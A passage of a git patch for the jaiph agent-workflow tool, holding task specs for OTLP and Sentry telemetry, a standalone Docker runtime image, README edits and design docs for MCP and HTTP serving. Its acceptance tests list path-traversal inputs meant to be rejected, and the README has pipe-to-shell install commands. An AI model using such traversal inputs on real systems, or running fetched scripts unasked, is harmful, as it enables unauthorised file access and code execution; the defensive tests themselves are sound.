echoes a credential env value (key matching the `_API_KEY`/`_TOKEN` redaction suffixes, value ≥8 chars) produces an event stream where the value is absent and `[REDACTED]` present. +* Artifacts round-trip test: a workflow publishing a file to `$JAIPH_ARTIFACTS_DIR` lists and downloads it byte-identically. +* Traversal test battery: `../`-containing path, absolute path, URL-encoded `%2e%2e`, and a symlink inside `artifacts/` pointing outside the run dir all return 404 without reading the target; a symlink target **inside** artifacts still serves. +* A grep-style test or unit assertion proves no route serves `*.out`/`*.err` capture files. +* `npm test` passes. + +*** + +## Feat: OTLP trace export — one span tree per run, zero dependencies #dev-ready + +**Source:** Observability feedback (2026-07-23): "OTEL + Sentry configurable would be the easiest way" to make jaiph observable in a company setting. This task is the OTEL half. + +**Problem:** A jaiph run already produces a complete, credential-redacted, hash-chained event timeline (`run_summary.jsonl`, written by `RuntimeEventEmitter`, `src/runtime/kernel/runtime-event-emitter.ts`), but it is invisible to standard observability stacks (Grafana/Tempo, Honeycomb, Datadog, any OTLP collector). Operators running workflows in CI or as a service have no traces, no latency breakdown per step/prompt, and no failure signal outside the local run dir. + +**Required behavior:** + +* **Architecture decision (pinned):** export happens **host-side, after the run completes, by reading the run's `run_summary.jsonl`** — not inside the runtime/emitter. Rationale: the journal is complete (the live stderr stream lacks `WORKFLOW_*` events), already redacted, and host-visible in every sandbox mode (the run dir is a host mount), so nothing new crosses the container boundary and no `OTEL_*` env forwarding into the sandbox is needed. Runs are minutes-long; end-of-run batching is the normal OTLP pattern anyway. +* New module `src/cli/telemetry/otlp.ts`, zero runtime dependencies (`node:https`/`node:http` request only): + * a **pure** function `runSummaryToOtlp(lines, meta)` mapping journal lines + `{workflow, exitStatus, signal, serviceName, resourceAttributes}` to an OTLP/HTTP **JSON** `ExportTraceServiceRequest`; + * a poster with a 10 s timeout. +* Mapping contract: + * `traceId` = the run id UUID with dashes stripped (32 hex chars — OTLP/JSON encodes trace/span ids as hex per the spec's JSON mapping); `spanId` = first 16 hex chars of `sha256()`. Deterministic: re-exporting a run yields identical ids. + * Root span per run: name `workflow `, from `WORKFLOW_START`/`WORKFLOW_END` timestamps (fallback: first/last event `ts`); status `ERROR` (code 2) when `exitStatus !== 0` or a signal terminated the run, else `OK`. + * One span per `STEP_START`/`STEP_END` pair (matched by event `id`), parented via the event's `parent_id` (root when null); `kind: SPAN_KIND_INTERNAL`; attributes: `jaiph.step.kind`, `jaiph.step.func`, `jaiph.step.name`, `jaiph.step.seq`, `jaiph.step.depth`, `jaiph.step.status`, `jaiph.step.elapsed_ms`; span status ERROR when the step status is nonzero. + * `PROMPT_START`/`PROMPT_END` pairs become child spans of their `step_id` with `jaiph.prompt.backend`, `jaiph.prompt.model`, `jaiph.prompt.status`. + * `LOGERR`/`LOGWARN` become span events on the root span. `ts` (ISO) → `timeUnixNano` as strings. A `STEP_START` with no matching `STEP_END` (crash) closes at the last event timestamp with status ERROR. + * Resource: `service.name` from `OTEL_SERVICE_NAME` (default `jaiph`), pairs from `OTEL_RESOURCE_ATTRIBUTES`, plus `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, `jaiph.source`. +* Enablement & endpoint (standard OTEL env, no new `JAIPH_*` unless genuinely needed — any that is added must get its `docs/env-vars.md` row, the parity lint enforces this): enabled iff `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` (used verbatim) or `OTEL_EXPORTER_OTLP_ENDPOINT` (base URL, `/v1/traces` appended) is set. `OTEL_EXPORTER_OTLP_HEADERS` (comma-separated `k=v`) applied. Only `http/json` is spoken: if `OTEL_EXPORTER_OTLP_PROTOCOL` is set to anything other than `http/json`, warn on stderr and skip export (respect the operator's explicit intent rather than mis-speak a protocol). +* Hook point: a single shared post-run function (e.g. `exportRunTelemetry({runDir, workflow, exitStatus, signal, env})`) invoked wherever a run reaches terminal state on the host — `jaiph run` completion and the shared workflow-call layer used by MCP tool calls (`src/cli/mcp/call.ts` or its current location). One choke point, all modes covered (host, Docker snapshot, inplace). +* **Failure semantics: telemetry is never load-bearing.** Unreachable/erroring collector → exactly one stderr warning line; the run's exit code, output, and journal are untouched. No retries, no queue. +* Docs: `docs/observability.md` how-to (enabling against a local `otel-collector`, one hosted-backend example, span-tree screenshot-level description of what maps to what); `docs/env-vars.md` gets a "Telemetry variables" section listing the consumed `OTEL_*` names (the page already covers non-`JAIPH_*` vendor variables); README bullet. + +Acceptance: + +* Unit tests on `runSummaryToOtlp` with fixture journals: trace id derived from run id; step span parented per `parent_id`; prompt span is a child of its `step_id` with backend/model attributes; failed step → span status 2; nonzero run exit → root status 2; ISO `ts` → correct `timeUnixNano` strings; unmatched `STEP_START` closes with ERROR at last event time; deterministic ids across two invocations. +* Unit tests: endpoint resolution (traces-specific verbatim vs generic + `/v1/traces`; traces-specific wins when both set), header parsing, `http/json`-only protocol guard (warn + skip on `grpc`). +* Integration test: a local fake-collector HTTP server receives exactly one well-formed POST to `/v1/traces` after a `jaiph run` with the env set; the same run with no OTEL env sends nothing; with the collector returning 500 (and separately: connection refused), the run's exit code is 0 and exactly one warning line appears on stderr. +* Integration test: an MCP `tools/call` (or shared-call-layer invocation) also triggers exactly one export per call. +* Redaction test: a credential value present in step output appears in the exported payload only as `[REDACTED]` (the export reads the journal, never raw captures). +* `package.json` `dependencies` remains absent/empty; `npm test` passes. + +*** + +## Feat: Sentry error reporting on failed runs #dev-ready + +**Source:** Observability feedback (2026-07-23): "OTEL + Sentry configurable". This task is the Sentry half: failed workflow runs become Sentry error events so operators get alerting/grouping without scraping run dirs. + +**Problem:** A failed run's only trace is its local run dir and a nonzero exit code. Teams running jaiph workflows on schedules or as a service (CI, k8s) need failures pushed to their error tracker with enough context to triage — workflow, failing step, redacted output excerpt, run dir pointer. + +**Required behavior:** + +* New module `src/cli/telemetry/sentry.ts`, zero runtime dependencies — a Sentry **envelope** POST hand-rolled over `node:https` (create `src/cli/telemetry/http.ts` for the shared timeout-guarded POST helper if `src/cli/telemetry/` already has one, reuse it). +* Enabled iff `SENTRY_DSN` is set. DSN `https://@/` parses to endpoint `https:///api//envelope/` with header `X-Sentry-Auth: Sentry sentry_version=7, sentry_key=, sentry_client=jaiph/`. Malformed DSN → one stderr warning, no send. +* Fires **only** when a run terminates unsuccessfully (nonzero exit or signal), from the same host-side post-run hook that handles run completion for all modes (`jaiph run` and the shared MCP/HTTP call layer) — one choke point. Successful runs send nothing. +* Event content (all excerpts sourced from the run's `run_summary.jsonl`, which is already credential-redacted — never from raw `.out`/`.err` captures): + * `event_id` = run id UUID, dashes stripped; `timestamp`; `platform: "node"`; `level: "error"`; + * `message.formatted` = `workflow failed (exit N)` / `terminated by signal S`; + * `tags`: `jaiph.workflow`, `jaiph.source` (basename), failing step kind/name when known; + * `extra`: failing step detail excerpt (the `STEP_END` `err_content`/`out_content`), `run_dir`; + * `fingerprint`: `["jaiph", , ]` so re-occurrences group per workflow+step; + * `release` = `SENTRY_RELEASE` or `jaiph@`; `environment` = `SENTRY_ENVIRONMENT` when set. + * Envelope body = header line `{"event_id","sent_at"}` + item header `{"type":"event"}` + event JSON, newline-separated. +* **Failure semantics: never load-bearing.** Unreachable Sentry, non-2xx, timeout (10 s) → exactly one stderr warning; run exit code and output untouched. No retries. +* No new `JAIPH_*` variables expected; if any is introduced it gets its `docs/env-vars.md` row (parity lint). `SENTRY_DSN`/`SENTRY_ENVIRONMENT`/`SENTRY_RELEASE` are documented in the env-vars page's non-`JAIPH_*` telemetry section and in `docs/observability.md`. + +Acceptance: + +* Unit tests: DSN parsing (endpoint + auth header; malformed → warn/no-send), envelope framing (three newline-separated JSON documents, `event_id` matches run id hex), fingerprint and message composition for exit-code vs signal terminations. +* Integration test with a local fake-Sentry HTTP server: a failing `jaiph run` with `SENTRY_DSN` set delivers exactly one envelope whose event carries the failing step tag and redacted excerpt; a succeeding run delivers nothing; a failing run **without** `SENTRY_DSN` delivers nothing. +* Failure-isolation test: fake Sentry returns 500 (and separately: connection refused) — the run's exit code is unchanged from the no-DSN baseline and exactly one warning line lands on stderr. +* Redaction test: a credential value that appears in the failing step's output shows up in the delivered event only as `[REDACTED]`. +* `package.json` `dependencies` remains absent/empty; `npm test` passes. + +*** + +## Feat: standalone runtime image — run jaiph in docker/k8s without a host orchestrator #dev-ready + +**Source:** Deployability feedback (2026-07-23): "a docker image with codex/cursor/claude code already installed so that the user only needs to put the credentials + the jaiph files and run it … that would allow anyone to run jaiph in docker/kubernetes" — and "it can't depend on a local machine + docker". + +**Problem:** `ghcr.io/jaiphlang/jaiph-runtime` (`runtime/Dockerfile`) already contains jaiph plus the claude/cursor/codex backends and a full toolchain, but it is only ever used as a sandbox rootfs *orchestrated by a host jaiph process*. Running it directly (`docker run … jaiph run flow.jh`, or as a k8s pod) fails the wrong way: jaiph defaults to Docker sandboxing on Linux and there is no Docker daemon inside the container. There is also zero documentation for deploying the image as the runner itself, even though `.github/workflows/nightly-engineer.yml` proves jaiph works headless on a bare Linux box. + +**Required behavior:** + +* **Bake `ENV JAIPH_UNSAFE=true` into `runtime/Dockerfile`** with a comment stating the rationale: *inside this image, the container is the sandbox* — host-mode execution is the correct default, and the interactive `--unsafe` confirmation is impossible/meaningless in an unattended pod. Verify and pin by test that this does not change host-orchestrated sandbox behavior: the container-inner invocation is `jaiph run --raw`, which by contract never launches Docker regardless of `JAIPH_UNSAFE` (the existing Docker e2e suite must stay green with the ENV present). +* Do **not** add an `ENTRYPOINT` and do not change `WORKDIR`: the host-orchestrated sandbox passes an explicit command argv, and an entrypoint prefix would corrupt it. Standalone usage spells the full command (`docker run … ghcr.io/jaiphlang/jaiph-runtime jaiph run /work/flow.jh`). +* When jaiph would launch Docker but the CLI is unavailable **and** a container indicator is present (`/.dockerenv` or `/run/.containerenv`), the error message must say precisely what to do: running inside a container already — set `JAIPH_UNSAFE=true` (host mode; the container is the sandbox). This covers users of derived images without the baked ENV. +* New `docs/deploy.md` (how-to, linked from README, `docs/sandboxing.md`, and `docs/setup.md`): + * one-shot: `docker run --rm -e ANTHROPIC_API_KEY -v "$PWD":/work -w /work ghcr.io/jaiphlang/jaiph-runtime jaiph run flow.jh` (and the cursor/codex credential variants — `CURSOR_API_KEY`, `OPENAI_API_KEY`); + * CI usage note pointing at the pattern `nightly-engineer.yml` already uses; + * Kubernetes: a real manifest file `docs/deploy/k8s.yaml` (Deployment + Secret for backend credentials + Service; liveness/readiness probes; image tag pinning note; TLS-via-ingress note; resource-request guidance — agent workloads are CPU/memory hungry). If `jaiph serve` exists in the codebase when this task is implemented, the manifest runs `jaiph serve --host 0.0.0.0` with `JAIPH_SERVE_TOKEN` from the Secret and probes `/healthz`; otherwise the manifest demonstrates a long-lived workflow runner and the doc says the HTTP surface is queued. + * A plainly-stated security paragraph: in standalone mode there is **no** jaiph-managed sandbox — isolation is whatever the deployment provides (the container/pod boundary), and workspace content policy (gitignored secrets etc.) is the operator's responsibility, unlike the host-orchestrated snapshot sandbox. +* CI smoke test (job in `.github/workflows/ci.yml` on the built image, or a gated e2e in `e2e/tests/` where the image is available): run the image standalone with `docker run` executing a fixture workflow that writes a `return` value; assert the value round-trips and exit code 0 — proving the "put credentials + jaiph files and run it" story on every build. +* Manifest validity gate: `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` (kubectl is on GitHub runners) runs in CI and passes. +* No new `JAIPH_*` env vars expected; any introduced must get `docs/env-vars.md` rows (parity lint). Update the `JAIPH_UNSAFE` row to mention the image bakes it. + +Acceptance: + +* CI (or gated e2e) smoke test: `docker run --rm -v :/work -w /work jaiph run hello.jh` exits 0 and produces the expected return value, with no Docker daemon available inside the container. +* The full existing Docker-sandbox e2e suite passes against the image with the baked `ENV JAIPH_UNSAFE=true` (host-orchestrated behavior unchanged). +* Unit test for the container-detection error path: docker unavailable + `/.dockerenv` present (injectable check) yields the "container is the sandbox → set JAIPH_UNSAFE=true" message; without the indicator, the existing error is unchanged. +* `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` passes in CI. +* `docs/deploy.md` exists, is linked from README + `docs/sandboxing.md` + `docs/setup.md`, and documents the no-jaiph-sandbox security posture explicitly. +* `npm test` and `npm run test:e2e` pass. + +*** diff --git a/README.md b/README.md index 82fb3d97..ded0dc63 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [jaiph.org](https://jaiph.org) · [Your first workflow](docs/first-workflow.md) · [Your first agent + sandboxed run](docs/first-agent-run.md) · [Install & switch versions](docs/setup.md) · [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md) · [Architecture](docs/architecture.md) · [CLI](docs/cli.md) · [Contributing](docs/contributing.md) -> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). +> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). --- @@ -26,10 +26,11 @@ - **Testing** — `*.test.jh` files run in-process (`jaiph test`) with mocks and `expect_*` assertions ([Write & run tests](docs/testing.md)). - **Safety and inspectability** — Docker-backed sandbox for **`jaiph run`** (env-controlled; see [Sandboxing](docs/sandboxing.md) and [Run in a Docker sandbox](docs/sandbox-run.md)); live **`__JAIPH_EVENT__`** on stderr and durable **`.jaiph/runs/`** artifacts ([Architecture](docs/architecture.md)). - **Tooling** — `jaiph compile`, `jaiph format`, `jaiph install` / `.jaiph/libs/` ([Use & publish a library](docs/libraries.md)), and optional `hooks.json` ([CLI](docs/cli.md), [Add a hook](docs/hooks.md)). +- **MCP server** — `jaiph mcp ./tools.jh` serves a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio, so any MCP client (Claude Code, Cursor) can call tested Jaiph workflows as tools ([Serve workflows as MCP tools](docs/mcp.md)). ## Core components -- **CLI** (`src/cli`) — `jaiph run` / `test` / `compile` / `format` / `init` / `install` / `use`; prepares scripts, spawns the workflow runner (or in-process test runner), parses `__JAIPH_EVENT__` on stderr, runs hooks on `jaiph run` only. +- **CLI** (`src/cli`) — `jaiph run` / `test` / `compile` / `format` / `init` / `install` / `use` / `mcp`; prepares scripts, spawns the workflow runner (or in-process test runner), parses `__JAIPH_EVENT__` on stderr, runs hooks on `jaiph run` only. - **Parser** (`src/parser.ts`, `src/parse/*`) — `.jh` / `.test.jh` → AST. - **Validator** (`src/transpile/validate.ts`) — imports and symbol references at compile time. - **Transpiler** (`src/transpile/*`) — emits atomic `script` files under `scripts/` only (no workflow-level shell). @@ -58,13 +59,21 @@ Requires `node` and `curl`. The script installs Jaiph automatically if needed. curl -fsSL https://jaiph.org/install | bash ``` +On Windows, install with PowerShell instead (installs `jaiph-windows-x64.exe` to `%LOCALAPPDATA%\jaiph\bin`): + +```powershell +irm https://jaiph.org/install.ps1 | iex +``` + Or install from npm: ```bash npm install -g jaiph ``` -Verify: `jaiph --version`. Switch versions: `jaiph use nightly` or `jaiph use 0.10.0`. +Verify: `jaiph --version`. Switch versions: `jaiph use nightly` or `jaiph use 0.11.0`. + +Releases ship a `SHA256SUMS` file plus a detached [minisign](https://jedisct1.github.io/minisign/) signature (`SHA256SUMS.minisig`); the installer verifies the checksum and, when `minisign` and the project public key are available, the signature — see [Verify the release signature](docs/setup.md#verify-the-release-signature). Initialize a project (optional): `jaiph init` writes `.jaiph/` with bootstrap workflow, gitignore entries for runs/tmp, and **`SKILL.md`**. The CLI resolves the skill body in this order — `JAIPH_SKILL_PATH`, install-relative `jaiph-skill.md`, `docs/jaiph-skill.md` under cwd, then an **embedded copy baked into the binary** as the final fallback — so `jaiph init` always writes `SKILL.md` (see [Install & switch versions](docs/setup.md)). Canonical skill text for agents: `https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md`. @@ -82,8 +91,6 @@ Full flags and environment variables: [CLI](docs/cli.md), [Environment variables ```jaiph #!/usr/bin/env jaiph -import "tools/security.jh" as security - script check_deps = `test -f "package.json"` rule deps_exist() { @@ -96,7 +103,6 @@ workflow default(task) { ensure deps_exist() const ts = run `date +%s`() prompt "Build the application: ${task}" - ensure security.scan_passes() } ``` diff --git a/design/2026-07-14-mcp-server.md b/design/2026-07-14-mcp-server.md new file mode 100644 index 00000000..2512ebb3 --- /dev/null +++ b/design/2026-07-14-mcp-server.md @@ -0,0 +1,128 @@ +# mcp-server — design doc + +*`jaiph mcp ` serves the file's workflows as MCP tools over stdio. Any MCP client (Claude Code, Claude Desktop, Cursor) can call tested, deterministic Jaiph workflows as tools — a `.jh` file becomes an MCP server with zero boilerplate.* + +**Status:** design — ready for implementation (an MVP was spiked and verified end-to-end; this doc records the verified contracts) +**Date (UTC):** 2026-07-14 + +## Problem + +Jaiph orchestrates agents (`prompt` → Claude/Cursor/Codex). The reverse direction is missing: an agent that wants to run a Jaiph workflow has to shell out to `jaiph run` and scrape output. MCP is the standard way to hand tools to agents; a workflow encodes a multi-step, tested, repair-capable procedure (`ensure`, `catch`, `recover`, artifacts) — exactly what an agent should call as one tool instead of improvising shell commands. + +Goals, in order: + +1. **Workflows as tools** — every suitable workflow in the entry file becomes an MCP tool with a name, description, and typed input schema. +2. **Zero-friction serving** — `claude mcp add mytools -- jaiph mcp ./tools.jh`. No SDK project, no build step. +3. **Reuse the runtime** — compile-time validation, per-run artifacts under `.jaiph/runs/`, the `__JAIPH_EVENT__` stream, and (follow-up) Docker sandboxing all apply unchanged. +4. **Zero dependencies** — the project has no runtime deps; the MCP stdio surface needed here (5 methods) is hand-rolled, not `@modelcontextprotocol/sdk`. + +## CLI surface + +``` +jaiph mcp [--workspace ] +``` + +- `--mcp` is accepted as an alias for the subcommand in `src/cli/index.ts` (`jaiph --mcp tools.jh`), dispatched after `compile`. +- `--workspace ` behaves exactly as in `jaiph run` (import resolution root; validated to be an existing directory). Default: `detectWorkspaceRoot(dirname(file))`. +- `-h`/`--help` prints usage and exits 0. Reuse `hasHelpFlag` / `parseArgs` from `src/cli/shared/usage.ts`. +- Startup: load module graph (`loadModuleGraph`), run `collectDiagnostics`; any diagnostic → print `file:line:col CODE message` lines to **stderr**, exit 1 (same formatting as `jaiph compile`). +- The server runs until stdin closes or SIGINT/SIGTERM; exit 0 on clean shutdown, after letting in-flight calls settle. + +**stdout hygiene is a hard invariant:** from the moment the server starts, stdout carries only newline-delimited JSON-RPC. Every banner, warning, reload notice, and diagnostic goes to stderr. + +## Transport & protocol subset + +Newline-delimited JSON-RPC 2.0 over stdio (the MCP stdio transport). One JSON object per line, UTF-8. Handled methods: + +| Method | Behaviour | +|---|---| +| `initialize` | Reply `{protocolVersion, capabilities: {tools: {listChanged: true}}, serverInfo: {name: "jaiph", title: "Jaiph workflows", version: VERSION}}`. Version negotiation: echo the client's `protocolVersion` if it is one of `["2024-11-05", "2025-03-26", "2025-06-18"]`, else reply with the newest of that list. | +| `ping` | `{}` result. | +| `tools/list` | `{tools: [{name, description, inputSchema}]}` from the current tool set (re-derived reference on every request so hot reload needs no cache invalidation). | +| `tools/call` | Run the workflow (see Execution). Result: `{content: [{type: "text", text}], isError: bool}`. | +| any notification | Ignored (`notifications/initialized`, `notifications/cancelled`, …). No response. | +| unknown request | JSON-RPC error `-32601`. | + +Error mapping: invalid JSON → `-32700` with `id: null`; non-object message → `-32600`; unknown tool, missing/non-string required argument, or unexpected argument key → `-32602` (protocol error, the call never starts); a **workflow failure is not a protocol error** — it returns a result with `isError: true`; an infrastructure crash while running the call → `-32603`. + +Requests are handled **concurrently** (a long `tools/call` must not stall `ping` or further calls); JSON-RPC ids make interleaved responses legal. Each outbound message is a single atomic `process.stdout.write` of `JSON.stringify(msg) + "\n"`. + +The protocol layer lives in `src/cli/mcp/server.ts` as a class taking injected `{serverVersion, getTools, callTool, write, log}` so unit tests drive it line-in/message-out with no processes. + +## Tool derivation (`src/cli/mcp/tools.ts`) + +Pure function `deriveTools(mod: jaiphModule, inputAbs: string) → {tools, warnings}` over the **entry module only** (imports are not exposed): + +1. **Exports narrow.** If the module has `export workflow` declarations (`mod.exports` filtered to workflow names), exactly those are exposed. `export` already exists in the grammar and is the module's public-API marker. +2. **Otherwise all top-level workflows**, minus channel route targets (any name appearing in `mod.channels[].routes[].value` — those are inbox handlers, not tools). Emit a warning per exclusion. +3. **`default` special-case:** exposed only when it is the *only* candidate, under a tool name derived from the file basename — `.jh` stripped, chars outside `[A-Za-z0-9_-]` replaced with `_` (MCP tool-name charset), truncated to 128. With other candidates present, `default` is skipped with a warning (it stays the `jaiph run` entrypoint). On a (rare) slug collision with a named workflow, skip `default` with a warning. +4. **Description** = the workflow's leading `#` comment lines (`WorkflowDef.comments` — the parser already attaches them, stored raw *including* `#`), with `#!` shebang lines dropped and the `#` prefix stripped, joined with `\n`. Fallback: `Run the "" workflow from .` Descriptions decide whether an agent picks the tool — the docs must tell authors to write them. +5. **Input schema:** all Jaiph params are strings, so `{type: "object", properties: {: {type: "string"}}, required: [], additionalProperties: false}` (`required` omitted when there are no params). Each tool spec carries `params` in declared order for positional mapping at call time. + +Warnings surface once on stderr at (re)load, never on stdout. + +## Execution model (`src/cli/mcp/call.ts`) + +Per-generation shared state, built at startup and on each hot reload into `mkdtemp(jaiph-mcp-)/gen-/`: + +- `buildScriptsFromGraph(graph, outDir)` → `scriptsDir` (read-only at call time, safe to share across concurrent calls), +- `writeModuleGraph(outDir/.jaiph-module-graph.json)` → runner consumes it via `JAIPH_MODULE_GRAPH_FILE` (no re-parse per call), +- `metadataToConfig(resolveModuleMetadata(mod, process.env))` → `effectiveConfig`. + +Per `tools/call`: + +1. Map the arguments object to positional args in declared param order. +2. `resolveRuntimeEnv(effectiveConfig, workspaceRoot, inputAbs)`; set `JAIPH_SOURCE_ABS`, fresh `JAIPH_RUN_ID` (randomUUID), `JAIPH_SCRIPTS`, `JAIPH_MODULE_GRAPH_FILE`; per-call meta file under the generation dir. +3. `spawnRunProcess([metaFile, dummyBuiltPath, workflowSymbol, ...args], {cwd: workspaceRoot, env})` — the same self-spawn path as `jaiph run` (piped stdio). +4. Parse child **stderr** line-wise: `parseLogEvent` → collected log output; `parseStepEvent` with `STEP_END`/nonzero status → first failing step (`kind name` + `err_content`/`out_content`); everything else → raw stderr. Child stdout is captured, never forwarded. +5. `waitForRunExit`; read the meta file (`run_dir=`, `summary_file=` lines). +6. **Success text**, in order of preference: `/return_value.txt` (the runtime persists the root workflow's `return` value), else collected `log` output, else `workflow completed`. +7. **Failure text:** `workflow failed (exit N)` / `terminated by signal S`, the failing step and its captured output, non-event stderr, collected logs, and `run dir: ` for investigation. Returned with `isError: true`. + +Run artifacts land under `.jaiph/runs/` in the workspace exactly as for `jaiph run` — every tool call is a durable, inspectable run. Concurrent calls are isolated by per-call run ids/dirs; two calls mutating the same workspace can still race, which the docs state plainly. + +### Runtime prerequisites (verified) + +Two host-side generalizations are required so a non-`default` symbol can be a run root: + +- `NodeWorkflowRuntime.runDefault(args)` generalizes to `runRoot(workflowName, args)` — same contract (emits `WORKFLOW_START`/`WORKFLOW_END` with the symbol name, binds args to params by position, persists `return_value.txt` on success); `runDefault` delegates. Unknown symbol keeps the existing message for `default` (`jaiph run requires workflow 'default' in the input file`) and gets `jaiph run: unknown workflow '' in the input file` otherwise. `node-workflow-runner.ts` calls `runRoot(workflowName, runArgs)` instead of hard-failing non-default symbols (`status 1`). +- **Bug (spike-verified):** `buildRunModuleLaunch` in `src/runtime/kernel/workflow-launch.ts` destructures the workflow symbol from its positional args and then hardcodes `"default"` into the runner argv. It must pass `workflowSymbol || "default"` through. Without this fix every MCP call runs `default` regardless of the tool invoked; the symptom is `jaiph run requires workflow 'default' in the input file` on files without a `default`. + +## Hot reload + +`fs.watchFile` (polling, ~750ms — portable, no per-platform `fs.watch` quirks) on every file in `graph.modules.keys()`. On change: + +- Reload the graph, re-validate, re-derive tools, rebuild scripts into a new generation dir; swap the state, re-watch the (possibly changed) module set, delete the previous generation dir. +- Send `notifications/tools/list_changed` (only after `initialize` has happened). +- On parse/validation failure: keep serving the previous generation; log the diagnostics to stderr. Guard against re-entrant reloads. + +## Safety posture + +MVP: **calls run on the host**, like `jaiph run --raw` (which by contract never launches Docker). Docker is on by default on macOS/Linux, so the server prints a one-line stderr notice at startup when the env would have enabled Docker. Credential pre-flight (`preflightAgentCredentials`, `dockerEnabled: false`) runs once at startup; in MCP mode errors are demoted to warnings (the server may outlive a credential fix; per-call failures still surface to the client). + +An MCP-exposed workflow is arbitrary shell reachable by the connected agent — that is the point, and the docs say so explicitly. + +**`--env` passthrough (queued separately, applies to `jaiph run` and `jaiph mcp`):** repeatable `--env KEY[=VALUE]` defines the workflow's env var in every execution mode and, in Docker mode, crosses the container boundary as an explicit `-e` arg bypassing the fail-closed `ENV_ALLOW_PREFIXES` allowlist — the flag is the per-key consent. Bare `KEY` forwards the host value (unset host var = hard error); sandbox-control keys (`JAIPH_UNSAFE`, `JAIPH_INPLACE*`, `JAIPH_DOCKER_*`) and runtime-managed keys (`JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, …) are rejected. For `jaiph mcp` the pairs apply to every tool call for the server's lifetime; the Docker-parity task must route them through the same `DockerSpawnOptions.extraEnv` choke point. Full contract: QUEUE.md → "ENV" task. + +**Follow-up — Docker parity:** MCP calls should honor the same env-driven sandbox selection as `jaiph run`, with one deliberate difference: **inplace is the default mode** for `jaiph mcp` (the calling agent operates on the real workspace and expects tool effects to land live), and the inplace confirmation is implied by starting the server (stdin is the protocol channel; no prompt is possible — starting `jaiph mcp` on a workspace *is* the consent act). Explicit env (`JAIPH_INPLACE=0` + overlay/copy selection) can restore isolation. The container invocation must carry the workflow symbol (today the Docker inner run assumes `default`). + +## Testing + +- `src/cli/mcp/tools.test.ts` — derivation rules via `parsejaiph` fixtures: exports-narrowing, route-target exclusion (param names must avoid reserved keywords like `channel`), lone-`default` rename to file slug, `default` skipped when others exist, shebang-filtered comment descriptions, fallback description, schema for n≥1 and 0 params, `toolNameFromFile` sanitization. +- `src/cli/mcp/server.test.ts` — protocol via injected fakes: initialize version negotiation (known + unknown), tools/list shape, tools/call arg mapping + text result, workflow failure as `isError` result (not protocol error), unknown tool / missing arg / unexpected arg → `-32602`, crashing `callTool` → `-32603` + stderr log, ping, notifications ignored, parse error → `-32700` id null, unknown method → `-32601`, blank lines ignored, `notifyToolsChanged` gated on initialize. +- e2e (follow-up task): drive `jaiph mcp` as a real child process with a scripted stdio session; assert stdout contains *only* JSON-RPC lines, tool calls return workflow return values, and `jaiph run` still works (regression on the shared launch path). + +Verified in the spike: full handshake, list, calls (return values round-trip), concurrent handling (a validation error response overtakes slower in-flight calls), invalid-params rejection. + +## Documentation + +- `docs/mcp.md` — how-to (Diátaxis): serving a file, exposure & naming rules, writing tool descriptions as comments, client config (`claude mcp add mytools -- jaiph mcp ./tools.jh`), safety posture, hot reload, artifacts. +- `docs/cli.md` — `jaiph mcp` reference section (flags, exit behavior, stdout invariant, exposure table). +- `printUsage` in `src/cli/shared/usage.ts` — subcommand line + section + example. +- README — feature bullet + docs-note link. + +## Out of scope (queued separately) + +- Docker sandbox parity with inplace default (above). +- `notifications/progress` streamed from `STEP_START`/`STEP_END` events during a call, and `notifications/cancelled` killing the child run. +- MCP resources (e.g. exposing run artifacts) and structured output schemas. diff --git a/design/2026-07-23-serve-http-api.md b/design/2026-07-23-serve-http-api.md new file mode 100644 index 00000000..c94b2bc8 --- /dev/null +++ b/design/2026-07-23-serve-http-api.md @@ -0,0 +1,111 @@ +# serve — design doc + +*`jaiph serve ` serves the file's workflows as an HTTP API with a generated OpenAPI 3.1 document and an embedded Swagger UI. Anything that speaks HTTP — a CI job, a Kubernetes deployment, another service, a human with a browser — can invoke tested workflows and inspect their runs, without an MCP client or a local jaiph install.* + +**Status:** design — ready for implementation (tasks queued in QUEUE.md) +**Date (UTC):** 2026-07-23 + +## Problem + +`jaiph mcp` made workflows callable by agents, but stdio binds the server to a parent process on the same machine. External feedback (2026-07-23): a company cannot depend on "a local machine + docker" — 